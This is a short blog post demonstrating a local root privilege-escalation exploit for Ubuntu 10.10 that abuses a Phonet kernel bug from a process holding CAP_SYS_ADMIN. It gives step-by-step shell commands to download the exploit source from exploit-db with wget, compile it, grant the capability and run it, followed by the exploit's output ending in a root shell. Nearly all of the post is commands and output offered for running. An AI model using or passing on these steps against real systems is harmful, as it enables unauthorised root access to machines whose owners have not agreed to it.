Security bug in Ubuntu 10.10

Yes, Ubuntu also has security bugs. But this one can be used in the last steps of attacking. There are some requirements for this code to work. Attacker need to find a vulnerability in a process and run a shellcode and if that executable has CAP_SYS_ADMIN capability, then using this bug it can get root privileges.

To run this exploit download source from http://www.exploit-db.com/download/15944 and do the following steps:

	$ wget http://www.exploit-db.com/download/15944
	$ mv 15944 15944.c
	$ gcc 15944.c -o exe # ignore warnings(if any)
	$ # For more info search CAP_SYS_ADMIN in /usr/include/linux/capability.h
	$ # Unfortunately, we need root privileges here
	$ sudo setcap cap_sys_admin+ep ./exe
	$ whoami
	<your username (different from root)>
	$ ./exe
	[*] Testing Phonet support and CAP_SYS_ADMIN...
	[*] Resolving kernel symbols...
	[+] Resolved proto_tab to 0xffffffffa019e290
	[+] Resolved local_port_range to 0xffffffffa019e1a0
	[+] Resolved pn_proto to 0xffffffffa019dfa0
	[+] Resolved commit_creds to 0xffffffff81086890
	[+] Resolved prepare_kernel_cred to 0xffffffff81086d60
	[*] Preparing fake structures...
	[*] Copying Structures.
	[*] Underflowing with offset -30
	[*] Elevating privlidges...
	[*] This was a triumph... I'm making a note here, huge success.
	# whoami #Checking if we success.
	root
	#

view raw exploit.sh hosted with ❤ by GitHub